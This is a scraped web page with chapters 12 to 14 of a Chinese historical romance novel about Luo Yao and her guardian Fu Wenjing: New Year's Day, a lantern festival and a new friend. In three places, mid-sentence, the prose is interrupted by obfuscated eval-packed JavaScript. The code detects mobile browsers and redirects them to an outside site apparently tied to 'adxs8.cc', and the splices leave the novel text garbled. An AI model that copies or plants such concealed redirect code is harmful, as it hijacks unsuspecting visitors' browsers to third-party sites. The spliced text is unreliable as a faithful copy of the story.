d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111440|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边,“谢谢阿瑶。” 洛瑶猛地抬头,脸上难过神色一扫而空,定级变脸大师都没有她这般功力,“真的?不骗我?” “嗯。”傅闻璟把盒子放在枕头边上。 “哥哥觉得这簪子怎样?喜欢吗” 傅闻璟垂眸,语气淡然,“还行。” 啊?还行啊……洛瑶难免失落。 那好吧,下次继续努力。洛瑶又把自己安抚好了。 “王府不缺这些东西,你下次别做了,小心伤了自己。” “好,阿瑶听哥哥的。”洛瑶落寞地点头。 “时候不早了,早些休息。”傅闻璟下了逐客令。 洛瑶失落地低着脑袋,贝齿咬着嘴唇,转身缓步走进内屋。走到一半,洛瑶像是下定决心一样,转过身,小跑到傅闻璟跟前,鼓足勇气,“哥哥,明日能陪我出去逛集市吗?” 傅闻璟想也没想便拒绝,“你想出去,让月芽陪你即可。” 洛瑶耷拉着脑袋,鞋尖在地面画圈,良久,道:“明日是初一,我听人说,出去逛可以迎接一年的好运气,我想哥哥陪我,可以么?” 洛瑶紧咬着嘴唇,垂着脑袋,避开傅闻璟的视线。 “明日,再说吧,时候不早了,先歇息。” “好。”洛瑶闷闷地应了声,回到里屋,抱着被子睁大眼睛。 洛瑶以为自己今夜肯定睡不着,没想到,不到一会便进入梦乡。 “松柏之质,经霜弥茂??。希望你以后做个正直的人。”傅闻璟喃喃自语,五岁时的记忆历历在目。 傅闻璟抿抿唇,父亲去世后,所有人希望他承担起侯府世子的责任,承担起长公主之子的责任,从来没有人关心他过得怎样。 傅闻璟把簪子放在心口,盯着屋顶良久,忽然觉得心跳得有些不正常。 门外听了两人对话的林公公眼角泛着泪光。 当晚,洛瑶睡得十分香甜,而一屏风之隔的傅闻璟倒是辗转反侧。 傅闻璟越想越睡不着,起身放轻步伐进里间,给洛瑶掖了掖被子,叹了叹气,鬼使神差地点了点洛瑶的鼻子。睡梦中的洛瑶毫无防备,皱了皱小鼻子,然后翻了个身。 傅闻璟摇头,小傻子。 12. 第 12 章 大年初一,洛瑶一大早起来就发现枕边有个小荷包,惊喜地拿着荷包跑到外间,没看到傅闻璟的人影,跑到门口张望了好一会,还是没看到人,洛瑶没好气地噘噘嘴。 屋里燃着地龙,屋外寒风吹过,洛瑶还是觉得脚凉嗖嗖的,跺了跺脚,又想起傅闻璟的叮嘱,哒哒哒地跑回里间穿鞋。 月芽赶到主院时就看到洛瑶光着脚跑到外面,连忙去打了热水给洛瑶洗漱。 “最近天儿冷,姑娘身子不好,出门还是要穿得厚实些,屋内虽有地龙,但寒从脚入,若是……” “好啦好啦,我知道了,”洛瑶打断碎碎念的月芽,从荷包里拿出一块银锭子送到月芽面前,“但入新年,愿你岁岁长欢,平安喜乐。” 月芽愣住,没有接洛瑶的银子。洛瑶小手抬了抬,“为什么不要?是觉得少么?等我攒到多些,到时候给你更多!”洛瑶说话声音慢慢变小,但很快又像想到什么一样,语调逐渐上扬。 月芽吸了吸鼻子,双手接过洛瑶手上的银子,恭敬地朝她行了个礼,“奴婢多谢姑娘。” “奴婢并未嫌弃银子少,是奴婢没想到姑娘会把压岁钱分奴婢一半。”月芽眼睛红红的,自从被爹娘卖进王府为奴,就没人给过她压岁钱,昨夜回到家里,爹娘只管伸手要钱,冷冰冰的,半句关心话都没有。 “哎呀,月芽你别哭呀,林公公说今日得说吉利话办吉利事,可不能哭的,”洛瑶连忙站起来拿帕子擦月芽脸上的泪水,“是我说错话了吗?对不起呀……” “姑娘没说错话,”月芽抬起手,把眼泪蹭在衣袖上,“姑娘是第一个跟奴婢说这些话的人,姑娘真好,奴婢是开心的。” 洛瑶嘟着嘴给月芽擦眼泪,神色十分严肃,“那就好,不要哭了哦,今儿是初一,我们要开心些,才能事事顺遂呀~” 月芽抿唇笑着点头。姑娘真好,姑娘应该有爹娘疼爱,不该遭此横祸,天命不公,着实不公。 林公公见月芽进了里屋半天没出来,也不知道该不该传膳,在门口来回踱步,半晌洛瑶和月芽总算出来了。 “姑娘新年好,”林公公转身险些撞上洛瑶,连忙退一步,拱手跟洛瑶说了些吉利话,又看到洛瑶身后眼睛红红的月芽,惊呼,“哎哟,姑奶奶大早上的,你这是作甚?” 月芽耸了耸鼻子,露出个笑容,“没事,时候不早了,姑娘该用早膳了。” 洛瑶坐下,手里捧着的是月芽准备的手炉,林公公招手,候在门外的仆人捧着各式各样的菜式鱼贯而入。 “这是娇耳,也叫馄饨,”林公公把一碗娇耳汤放在洛瑶面前,“以前长公主尚在时,府里有个习俗,若是谁能在娇耳里吃到银钱,得之者以卜一岁之吉,姑娘尝尝?” 洛瑶舀了一个馄饨进嘴,咀嚼间感觉有东西硌牙,吐出来一看,正是一枚铜钱,“我吃到了?” “恭喜姑娘,姑娘今年一定顺顺利利。” “真的?” “真的!” “哥哥呢,我想把这个消息告诉他!”洛瑶抬头看着林公公,像极了要跟别人分享糖果的孩子,“哥哥今天去哪了,怎么我一起来就看不见人。” 林公公脸色一滞,王爷今天一早出门往军营去了……走得匆忙,怕是连姑娘都没有告知,看样子估计没一天回不来。 “那个,王爷有事先出门了,但很快就回来,姑娘先用早膳,天冷,先暖暖身子才好等王爷回来不是?” 林公公眼珠子一转,嘴比脑子快,说完才想起,如果今天王爷到夜里才回来,姑娘不得生气了? “这样呀,那我在府里等哥哥,哥哥昨天答应了要陪我去初一大集的。” 洛瑶马上就把自己哄好,不需要林公公和月芽多说,便把早膳吃完,甚至比之前用得更多些。 用膳后,洛瑶拉着林公公问初一大集有什么好玩好吃的,林公公越说,洛瑶越是期待,一双杏眼满是好奇,兴奋之意溢于言表。 说着说着林公公才意识到不对劲,他也拿不准傅闻璟什么时候回来,要是姑娘满腔期待落空了,这可得怎么办。 他这不是给自己找麻烦么!想着就拍了一下自己的嘴,让你乱说! 洛瑶说着说着就睡着了,林公公轻手轻脚盖上狐裘,连忙走出去,遇到要进屋的月芽,不由分说把月芽拽到一旁。 “怎么了?这是后面有鬼追?”月芽说着往林公公身后看,然后又看林公公慌张的神色,后面也没人追啊。 林公公拉着月芽,神情言语十分恳切,“姑奶奶我求你帮忙出个主意,王爷出门去城北军营了,怕是没个一天回不来,姑娘还等着王爷陪她去逛初一大集呢……” 月芽嘴角抽了抽,她就猜到,姑娘昨夜的一腔心意果然是喂了狗。 “没什么好主意的,听天由命吧,”月芽拂开林公公的手,“而且就算姑娘要生气,也不会生你的气,公公放心。” 林公公看着走远的月芽,跺了跺脚,他当然知道姑娘不会生自己的气,生的是王爷的气啊! 月芽守在洛瑶身旁做帕子,她的绣工不错,洛瑶用的帕子都是经她手。屋内的地龙有些热,洛瑶无意识地蹬被子,露出一个秀气的脚踝。月芽给洛瑶换张轻薄的被子,继续守在洛瑶身边。 “月芽,什么时候了?”洛瑶迷迷糊糊醒来,屋内光线昏暗,隔着窗户也看不出具体的时辰,她坐起来伸了个懒腰,脚丫子一晃一晃。 月芽给她加了件衣裳,又给穿了鞋子,“申末了姑娘。” 洛瑶尚未清醒,瞪着一双略带迷糊的大眼。申末,这么晚了?还说要和哥哥一起去大集呢,怎么不见哥哥了?是哥哥来了发现阿瑶还在睡觉然后生气走了吗? “月芽,哥哥呢?”洛瑶拉着月芽的衣袖,“哥哥是不是看到我在睡觉,所以走开了?” 月芽脸色并不是很好看,给洛瑶重新绾好发髻,簪上红色珠花,“王爷今天一大早就出门了,奴婢从家中赶来的时候,正看到王爷骑马出去。” 洛瑶一愣,怎么会,哥哥明明答应了今天陪自己去逛初一大集,怎么会出门了呢。一定是哥哥有事,晚些时候就会回来的,晚些时候回来肯定会陪自己出门的。 洛瑶自己安慰自己,但脸上还是掩盖不住的落寞神色,捧着手炉呆呆地坐在窗前。 月芽暗叹,有些话她又不好说出口,但姑娘这样,真是让人心疼。 天色全部暗下来,林公公张罗着晚膳,洛瑶趴在窗沿,眸子像是黯淡的星星,完全没有往日的光彩。 一滴水滴落在手背上,洛瑶吸了吸鼻子,抬起手擦干净脸上的泪水,越擦越掉,越掉越擦。 月芽递上一张帕子,洛瑶像是跟自己生气一样,拿着帕子胡乱在脸上糊了一遍,总算是止住泪水了。 不能哭,今天是初一,林公公说今天要开心,以后才能事事顺遂,阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119261|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶不是小哭包,不能哭。 洛瑶噘着嘴又吸了吸鼻子,把帕子往月芽手里一塞,“我要洗脸。” 月芽见洛瑶情绪好转,这才起身去准备热水。 洗漱后,洛瑶坐在平时用饭的桌子前,小口小口地喝着鸡汤,外面一阵喧闹,就听到林公公的声音远远传过来,“王爷回来了。” “姑娘,王爷回来了。”林公公见洛瑶没反应,连忙再喊了一声。 “哼。”洛瑶很有志气地哼了一声,像是没看到傅闻璟一样,依旧埋头喝鸡汤。 傅闻璟一滞,把手里的东西给林公公,净手后坐在洛瑶身边,给她夹了一筷子平日里最爱吃的松鼠厥鱼,却被洛瑶往旁边推开,自顾自地夹菜。 “生气了?”傅闻璟问道。 傅闻璟方才从府门到主院,林公公就在耳边不断念叨,洛瑶今天等了一天,期待了一天,现在在闷闷吃饭。一想到那个娇气包在生闷气,傅闻璟就觉得心口酸酸的。 怪他走得太着急,没来得跟他说。 也怪他忘了让人传话,不然洛瑶也不会空等那么久。 “哥哥坏,没诚信!”洛瑶放下筷子,一双红通通的水眸瞪傅闻璟,像极了小兔子。 “今日军中有事,我不敢耽误,出门的时候着急,没来得及跟你说。”傅闻璟僵硬地解释。 傅闻璟温柔的嗓音一下一下敲在洛瑶心上,一股难以言喻的情绪涌了上来。其实她早就不生气了,就是有一点自己的小心思,想撒个娇罢了。 贝齿咬着下唇,好一会洛瑶才道:“哼,行吧,下次再这样,我、阿瑶就不理你了。” “嗯。”傅闻璟应了声。 一旁的月芽见状心事更重了,只能暗自叹息又不敢说出来。 半个时辰后,两人总算用完饭了,洛瑶生怕傅闻璟离开,紧紧跟在他身边。 “这是什么?!”林公公提着个铁笼子进来,洛瑶眼睛瞬间亮起来,提起裙摆蹲在铁笼子前,隔着笼子拿干草逗弄兔子,“好可爱的小兔子。” “是哥哥特意给我抓的吗?” “不是我,赵隋他们抓的。” 洛瑶顿住,抬头看傅闻璟,但脸上还是灿烂的笑容,“谢谢哥哥。” 傅闻璟看着洛瑶在逗小兔子。想起白天到军营后,几个副将拉着说要进山冬猎,在林子里策马一下午什么都没看到,临走前发现一窝小兔子。 副将准备射杀兔子时,傅闻璟拦下来。看到这一窝小兔子,傅闻璟忽然想起家里还养着个娇气包,鬼使神差地让人活捉了。 回到府上听林公公那番话,傅闻璟庆幸自己带了一窝兔子回来,不然洛瑶不知道要闹脾气到什么时候。 想到这,傅闻璟一愣,他什么时候开始关注洛瑶的情绪了…… 傅闻璟垂眸,只能看到洛瑶的背影,还有随着她动作颤动的珠花,洛瑶拿着胡萝卜隔着笼子一点一点喂里面的小兔子,还轻轻地抚摸那个大兔子肥胖的身子。 都这么胖了还吃…… 过了许久,洛瑶还是兴致勃勃,傅闻璟眯着眼看几个肥兔子,小声啧了一声,冷声道:“好了,时候不早了,该歇息了。” “把兔子带下去。” 洛瑶舍不得,一双眼睛盯着逐渐远离的兔笼子,要不是月芽帮她清理双手,估计还要跟着跑出去。 傅闻璟额角突突跳,深呼吸,“明儿再去玩,早点歇息。” 13. 第 13 章 傅闻璟带回来的小兔子极大地吸引了洛瑶的注意力,每天睡醒便是去后院喂兔子,或者是抱着小兔子晒太阳。好几次傅闻璟忙完回来都没看见洛瑶,一问才得知洛瑶和月芽在后院和兔子玩。 上元节当日,傅闻璟难得休沐,和赵隋等人聊完事情回到主院,却没看到人。跟以前一样,傅闻璟环视一周,空荡荡,胸口压抑得有些难受,问跟在旁边的林公公,“阿瑶呢?” “姑娘在后院喂兔子呢,”林公公笑得见牙不见眼,王爷长进了,终于会关心姑娘了,“多得王爷送的小兔子,这些天姑娘可开心了。” 傅闻璟脚步一滞,瞥了林公公一眼,往后院走去。 林公公讪笑,忍不住心中嘀咕,就端着吧,等姑娘不理你,连哭都没地方去了。 洛瑶身着银红色斗篷蹲在雪地里,因着新年,月芽给她的发髻上簪着金累丝红宝石头面,红宝石流苏坠子随风而动,一下一下轻轻触碰洛瑶娇嫩的脸颊。 洛瑶拿了几根干草悬在笼子上方,笼子里的小兔子一蹬,洛瑶就往上提起,兔子连蹦了好几下都吃不到。 ……真是一群傻兔子。 傅闻璟轻笑,引起洛瑶的注意,洛瑶回头,看到是他,扔下手中的干草,小跑过来,“哥哥!” 银红色斗篷随着她的跑动,像是雪地里振翅高飞的蝴蝶。雪地、红披风,傅闻璟倒是没有像之前那么排斥红色。 “跑慢些,地上雪厚,小心滑。”傅闻璟稳住洛瑶的身子,掸了掸她刘海上的雪渣子。 “穿得这么少,不冷么?”傅闻璟调整了洛瑶歪斜的斗篷,又把身上的狐裘解下来,披在洛瑶身上,“小心着凉。” 洛瑶抿唇点头,脸颊蹭了蹭颈边的绒毛,鼻翼耸动,像只小狐狸一样,不着痕迹地嗅了嗅狐裘上的熏香。 是哥哥平日用的熏香。 洛瑶偷偷抬头看傅闻璟,阳光洒在他身上,像是镀了一层金边。傅闻璟似乎发现洛瑶的视线,微微侧目,对上洛瑶清澈的眸子,“怎么了?” 洛瑶轻轻摇头,贝齿咬着下唇,心脏颤了颤,害羞地低着脑袋,拉着傅闻璟的衣袖,跟在他身后,一步一步踩在他的脚印上,跟着往屋内走。 “今日上元节,晚上我带你去看花灯。”傅闻璟忽然想起赵隋等人说今年淮南府的上元花灯会甚是好看,想都没想就开口。 “真的?”洛瑶音调微微上扬,语调里是掩饰不住的兴奋。 傅闻璟嘴角微勾,点头,“晚些时候先用饭,等将近日落时分我带你出门。”说罢又吩咐林公公给洛瑶多加几件衣裳。 * 洛瑶目送傅闻璟出门,然后拉着月芽问灯会的事情,月芽不忍心洛瑶还像上次那样希望落空,便好意提醒,“姑娘,王爷事务繁忙,不一定能有时间陪您去灯会。” 洛瑶兴奋的脸色瞬间消失,但是很快又把自己哄好了,“没事的,要是哥哥忙的话,我可以不去的。”但是我更相信哥哥会陪我去。 最后这一句话洛瑶没有说出来,只是在心中默默念道。 月芽默默叹气,姑娘都这么明示了,王爷还是无动于衷,且王爷着实不是良配,姑娘已经孤苦无依了,还要承受这样的感情吗…… 洛瑶用了午饭抱着手炉坐在窗边小榻上,眼睛盯着不远处的月洞门,有人经过,眼睛瞬间亮起来,发现不是自己心中念叨的那人,又黯淡。 一旁的月芽看得难受,推了推林公公,让林公公去催傅闻璟。林公公倒是无奈摊手,王爷如今正忙着呢,谁敢不要命去催…… 金乌逐渐坠地,主院越来越安静,洛瑶趴在窗台,心中空落落的,难道她又被丢下了吗……想着,洛瑶慢慢眯起眼睛,靠着窗台睡着了。 “阿瑶。”傅闻璟声音响起,洛瑶睁开眼,看到一张放大的俊脸,微微一愣。 傅闻璟见洛瑶总算醒过来,拍拍她脑袋,温声道:“先用些饭,然后换身衣裳,我们出去看花灯。” 洛瑶迷迷糊糊瞪大眼睛,这是梦里吗?藏在宽大衣袖下的手掐了一下大腿,疼的她龇牙咧嘴。 “怎么了?” 洛瑶眨眨眼,确定眼前人是真实存在的,哥哥果然没有骗自己,他忙完便回来了。洛瑶连忙摇头说了句没事,然后一骨碌爬起来,坐在圆桌前等待投喂。 林公公担心洛瑶身子虚,准备的都是些滋补的药膳,平日洛瑶嫌弃有药味,怎么也不肯吃,今日倒是不需要人劝,就用了不少。 饭后,洛瑶换上了羊皮小靴,罩了一件银红羽纱面白狐皮里的??鹤氅??,梳了个垂挂髻,簪上了红珊瑚头面。 洛瑶转身走出屏风,和傅闻璟四目相对,傅闻璟眸中闪过不易察觉的惊艳,洛瑶小跑到傅闻璟身边,挽着傅闻璟手臂,“哥哥,我们走吧~” 王府的马车内饰豪华,里面燃着火炉,外面虽寒风凛冽,但里面依旧是温暖如春。 上元花灯会在西市,距离侯府不过一盏茶的路程,洛瑶一手攀着窗沿,一手撩开帘子,好奇地看着外面。来淮南府一个多月,这是她第一次出门。 前来观灯的人不少,傅闻璟担心洛瑶走丢,大手握着洛瑶的小手,洛瑶天生体寒,冬日里双手如同冰碴子一样,倒是傅闻璟一双大手像是暖炉,握得洛瑶手心暖暖的,耳根子也红红的。 一路上花灯如海,流光溢彩,洛瑶一下子被路边的摊子吸引目光,挤到摊子前,装饰简陋的摊子上面摆满了琳琅满目的发饰。洛瑶拿起一支发簪看了看,放下,又拿起另一支红宝石金累丝发簪。 “姑娘长得好看,带上这簪子也一定好看。”摊主见两人衣着华贵,女子还紧紧挽着男子的手臂,使尽浑身解数哄得洛瑶心花怒放,恨不得立马把发簪簪头上。 洛瑶看了看傅闻璟一眼,举着簪子问道:“好看吗?” 出于私心,洛瑶第一次没在人前喊傅闻璟哥哥。 傅闻璟打量那只做工精致的簪子,却无意中对上洛瑶星光闪闪的眸子,忍不住心神晃动,他觉得洛瑶比这簪子好看多了。 “嗯。”傅闻璟淡淡应道,不忍心拂了洛瑶的兴致。 摊主见状,顺着杆子往上爬,“郎君不如给心爱的姑娘买一支?” 洛瑶红着脸,“可以吗。” 傅闻璟拿出一锭银子,买下那只发簪。 摊主拿着银子说了不少的好话,傅闻璟不为所动,倒是洛瑶的脸越来越红。傅闻璟给洛瑶簪上发簪,拂过温热的气息拂过洛瑶脸颊,洛瑶“噌”从脸颊红到脖子。 好一会,洛瑶抬头,亮晶晶的眸子对上傅闻璟的,小手一指,“我能吃个糖葫芦吗?” 傅闻璟微不可察地蹙眉,给洛瑶买了一只=糖葫芦后,对洛瑶郑重说道:“阿瑶,你是王府的姑娘,行事不需要这么小心,可以张扬些。” 傅闻璟神色凝重,十分认真地跟洛瑶说,洛瑶这些天凡事小心翼翼,倒让他想起当年在宫中的自己,事事小心翼翼,生怕一个不小心就惹恼了人,被逐出宫去。 半晌,洛瑶点点头,抿了抿沾了糖浆的嘴唇,“那阿瑶如果耍小脾气,哥哥会骂我吗?” “不会。” “会赶我走吗?” “比如把我送去苏州……” 傅闻璟眉头微皱,原来当时随口提议,洛瑶一直记在心里,一时间,傅闻璟觉得心口酸涩,“不会。” 洛瑶拽紧傅闻璟的衣袖,“哥哥发誓!” 傅闻璟好笑地点点洛瑶的鼻子,这小妮子,刚教会她可以得寸进尺些,这得寸进尺都用在自己身上。 虽然是这样想,但傅闻璟还是顺着洛瑶的要求,竖起三根手指,“我傅闻璟发誓,就算阿瑶发脾气,我也不生气,不把她送走,也不送去苏州,如有违誓言……” 洛瑶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119262|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼疾手快捂住傅闻璟的嘴,“哥哥有这个心就行了,不必说后面那些话,不然阿瑶会难过的。” “好,”傅闻璟虚握着洛瑶的小手,对上她灿若星辰的眸子,殷红的嘴唇沾了糖浆,显得亮晶晶的。傅闻璟感觉心脏砰砰直跳,挪开视线。 洛瑶闻言,拉着傅闻璟穿过人群,赶往小吃摊子。听林公公和月芽说了,淮南府的小吃好吃极了。但是洛瑶眼大肚小,买了一堆,没几个是吃完的,手上还有糖葫芦,傅闻璟那还捧着元宵和糖人。 不远处的戏台唱着缠绵悱恻的词句,什么书生小姐佳节相会。洛瑶拉着傅闻璟挤过重重叠叠的人群,挤到戏台前,紧紧拉着傅闻璟的手臂,一眨不眨盯着上方唱戏的人。 洛瑶仰着脖子累了,微微侧过身子,脑袋轻轻靠在傅闻璟肩上,傅闻璟侧了侧身子,方便洛瑶靠着。 不远处有两人一直好奇地打量着洛瑶,时不时交头接耳,洛瑶敏感,很快就发现那奇怪的两人,两人还朝他微笑点头示意。 傅闻璟也发现不远处的两人,两人走过来跟傅闻璟行礼,听着两人介绍,洛瑶才知道他们俩是兄妹,男子叫安远,女子叫安玥,都是出自安阳伯府。 安玥一看就喜欢洛瑶,趁着安远跟傅闻璟说话,拉着洛瑶聊天。从发簪摊子开始,安玥就发现洛瑶和傅闻璟了,拉着安远一路上跟过来,像极了变态的跟踪狂。 这也怪不得安玥,毕竟傅闻璟是淮南府有名的不近人情的玉面罗刹,不然傅闻璟如今及冠,怎么还未定下亲事。淮南府甚至京城都有不少姑娘对傅闻璟芳心暗许,但是遇上态度冷漠的傅闻璟,通通折戟而归。 倒是今日,居然能看到傅闻璟带了个小姑娘出来逛灯会,倒是让人觉得好奇。 方才洛瑶把糖葫芦塞到傅闻璟嘴边时,傅闻璟蹙眉说着不吃,但还是在咬下一颗山楂,酸甜味道让他不仅眯了眯眼。 安玥和兄长面面相觑,这就是他们认识多年的傅闻璟?良久,安远才憋了一句话出来,“你不觉得,傅闻璟这样比之前有人气多了吗?之前清冷得什么都不关心,就像书中写的随时能乘风而去的谪仙。” 安玥点头深表认同。 傅闻璟左手捧着元宵,右手拿着糖人和安远说话,安远眼带笑意看着傅闻璟手中的东西,对上傅闻璟冷冷地眼神,轻咳一声掩饰过去,“王爷,今日这么好兴致。” “嗯。”傅闻璟淡淡应道,惜字如金。 得了,又变回那个死样子了。安远摇头轻笑,傅闻璟还是那个傅闻璟,只不过是对谁罢了。 傅闻璟微眯着眼睛看着安玥拉着洛瑶说话,身上的醋意都要溢出来了,整条街都酸酸的,安远看着没眼力见的妹妹,轻咳一声。 安玥瞬间停了聊天,拉着洛瑶的手道:“阿瑶,等改日有空我找你玩,淮南府还有很多新奇的玩意,下次我带你去哈——” 安玥还没有说完就被安远薅走了,洛瑶羡慕地看着离开的两人。 “你喜欢她?”傅闻璟语气里难以察觉的酸味,微微垂眸看着洛瑶。 “喜欢,安玥姐姐好有意思,她还说之后带我去玩。”洛瑶拿过糖人咬了一口,猛地一哆嗦,甜腻的味道直冲鼻腔,连她这个喜欢吃甜的人都受不了,这糖人得多甜呀。 傅闻璟面色微沉,洛瑶转身扯了扯傅闻璟的衣袖,小声解释,“阿瑶在府上无所事事,哥哥公务繁忙,又不能时时陪我,所以阿瑶想和安玥姐姐一起去玩。” 听罢,傅闻璟脸色有所好转,并未反驳,只是承诺道:“以后我多抽些时间陪你。” “好。” 洛瑶打了个小呵欠,已经开始犯困了。 坐在马车上,洛瑶靠着傅闻璟睡着了,下意识地蹭了蹭傅闻璟的肩膀。 傅闻璟低头看洛瑶,压抑着心头奇怪地感觉,刮了刮洛瑶的鼻子,这么娇气,除了我还有谁受得了。 14. 第 14 章 安玥说话算话,第二天一早,洛瑶醒来就收到安玥的帖子。洛瑶看不懂安玥些什么,傅闻璟便念出来,洛瑶问他是否同意安玥到访,傅闻璟拍拍洛瑶脑袋表示这是她的朋友,是否愿意,由洛瑶来做决定。 当天安玥就收到洛瑶的消息,不过不是回帖,倒是月芽亲自去回话。安玥没等几日,就让人套了马车前往晋王府。到的时候,洛瑶正在后院喂兔子。 “兔子?你们王爷竟然养了这些玩意在府上?” “倒不是王爷养的,”林公公亲自到大门迎接,“是初一那天王爷从军营带回去给姑娘的,姑娘喜欢便养在后院。” 安玥挑眉,“看来你们家王爷对她还挺上心。” 林公公笑而不语,虽然他也是这样想,但作为奴才,不敢随意置喙,“姑娘就在前边,安姑娘自便,奴才想去准备茶水,就不打扰您了。”说完,便躬身离开。 安玥离洛瑶有些远,洛瑶今日披着茜色狐裘披风,头上梳着双丫髻,两边坠着金丝流苏,随着她的动作一晃一晃,脖子上一圈毛绒绒的狐裘脸蛋粉雕玉琢的,像极了家里吃的雪团子。 洛瑶说是在喂兔子,还不如说是在逗弄兔子差不多。 “阿瑶。” 洛瑶看到来人,眼睛一亮,扔掉干草,拍干净身上的碎屑,“安玥姐姐。” “安玥姐姐快看,这是哥哥送给我的兔子,这只胖胖的叫小白,这只有点灰的叫咪咪,还有……” 安玥在一旁听她念叨,洛瑶身上有一种魔力,只要靠近她,心中难得的安定,还能感受到她身上的热烈的生命力,听她说话不会觉得烦躁,反而会好奇她哪里来的那么多古灵精怪的想法。 难怪傅闻璟那么迁就她。 安玥陪她在后院看了一下午的兔子,等到金乌西坠时,安玥起身回府。夜里,傅闻璟回来,和洛瑶一起用饭,跟傅闻璟说了白天的事情,第二日安阳伯府收到了晋王府的谢礼。 安阳伯还在猜测什么原因时,安玥安远兄妹相视一笑。 一来二去,洛瑶交到了在淮南府第一位朋友。 * 两年后,花神节前夕。 洛瑶身子比一般人弱,不爱出门,不是在屋里看小人画,就是在后院逗兔子。两年前的三五只兔子,在这两年时间里壮大成兔子大军,傅闻璟一边嫌弃,一边让人扩大地方作为兽舍。 毕竟萌兽也是兽。 安玥轻车熟路到了后院,洛瑶抱着一只狮子猫,脚边匍匐这几只兔子,嘴巴不停地咀嚼干草。 “小花越来越胖了。”安玥撸了一把洛瑶怀中的狮子猫。 躺在洛瑶怀里正惬意的狮子猫被撸了一把,朝安玥没好气地瞄了一声。 “小花别闹。”洛瑶拍拍狮子猫脑袋,把它放到地上,任由月芽清理身上的猫咪毛发。 小花不禁逗,迈着傲娇的步伐,跳上了洛瑶给它准备好的爬架上,朝着安玥喵了一声后,扭转屁股对着她。 安玥戳了戳小花厚实的屁股,没等到小花的青睐,转头去捏了下月芽的脸,“这月牙的小脸也圆了不少。” “安姑娘别取笑奴婢了。” 一年前,月芽也和家里断绝了关系,再也没有家中的糟心事,心情越发好了,脸蛋都比初见洛瑶时圆了。 洛瑶和安玥两人离开兽舍,到了后院。自从洛瑶来了,晋王府后院也移栽了不少花树,经过一两年的生长,光秃秃的后院,一年四季都鲜花盛开,不过傅闻璟依旧是鲜少踏足这里。 两人并肩在梅树下散步,安玥说着这些日子家中长辈安排的相亲,城中适龄男子都没有逃过她那张嘴。 “我跟你说,城北陈大人家的,问我能不能接受他婚后有十房妾室,因为他现在已经有九房了。” “还有城西刘大人家的,上来就问我家里要多少彩礼。” 洛瑶听得一愣一愣,眼里满是好奇。 原来相看是这样的, “更离谱的是城南张大人家的,他说我长得一般,配不上他,如果我爹愿意给他在京城安排个官职,勉勉强强愿意娶我进门。他还真有脸了,他自己长什么样子,自己没有点数的吗,脸大如盆,颧骨突兀,鼻子塌扁,眼小如豆,城郊的荒山都没有他长相那么崎岖。” “噗嗤。”洛瑶忍不住笑出声。 “洛瑶!”安玥跺脚,噘嘴瞪着洛瑶。 洛瑶连忙安抚,“安玥姐姐辛苦了,相看还要面对这些牛鬼蛇神,我让林公公给你准备了你最爱的栗子蜜豆糕,还有雪燕羹。” “玥姐姐看着这些份上,不要生我气了,好么?”洛瑶抱着安玥的手臂一晃一晃。 安玥轻哼,点了点洛瑶的鼻头,“看着它们的份上,我先原谅你。” “走,小洛子,带本小姐去用膳。” “奴婢遵命。” 两人嘻嘻哈哈往浅云居去。 浅云居原先是安排给洛瑶住处,但洛瑶自从来了之后一直住在主院,及笄后便搬到傅闻璟卧房相邻的屋子,浅云居便空着,平日安玥过来,洛瑶便在这待客。 两人在这待了一下午,直到傅闻璟忙完回来,安玥才告退。走到一半,安玥才想起来自己打算邀请洛瑶去参加花神节。 “花神节是什么?”洛瑶好奇,她来淮南府两年了第一次听到这个节日。 “二月十二日为百花生日,这日会祭花神,闺中女子会剪五色彩笺,把彩笺结在花树上,谓之赏红,”安玥忍不住捏捏洛瑶的脸蛋,软软的,滑滑的,“不过淮南府一般都会在今日举办郊游雅宴,饮酒赋诗。” “今年轮到州牧府的李青青主持,前些天她把帖子给我,拜托我转交给你。” 说着就从拿出一张烫金请帖,洛瑶接过,一股淡淡梅香萦绕鼻尖,打开后里面有一朵风干的梅花。 “哎呀,这李姑娘真是有巧思,”安玥细细端详梅花,给洛瑶解释,“今年定下的花神正好是梅花,每年的主人家会以当年花神为题组织宴会。” “往年你身子不好,便不好邀请你,今年是你及笄后第一次花神节,我知道你不爱出门应酬,但你必须得去。”安玥叮嘱洛瑶,届时一定等她一起前去,说罢就准备回府,月芽自告奋勇送安玥出府。 “安姑娘,奴婢有个不情之请。”路上,月芽避开人群,朝安玥行了个礼。 安玥不做声,等着月芽的下文。 “我家姑娘当初遭逢大难,不记事情,幸得王爷相救,为此姑娘但对王爷十分依赖信任,想必您知道除夕当天是王爷的生辰,多年来晋王府除夕都十分安静,倒是这几年,姑娘又是给王爷做簪子,又是放烟火,还有长寿面……” 安玥审视扫了月芽一眼,平平无奇的脸庞,笑了笑,“你跟我这个外人说这些意欲何为?你可知道,我但凡跟你们王爷说一嘴,你小命就不保了。” 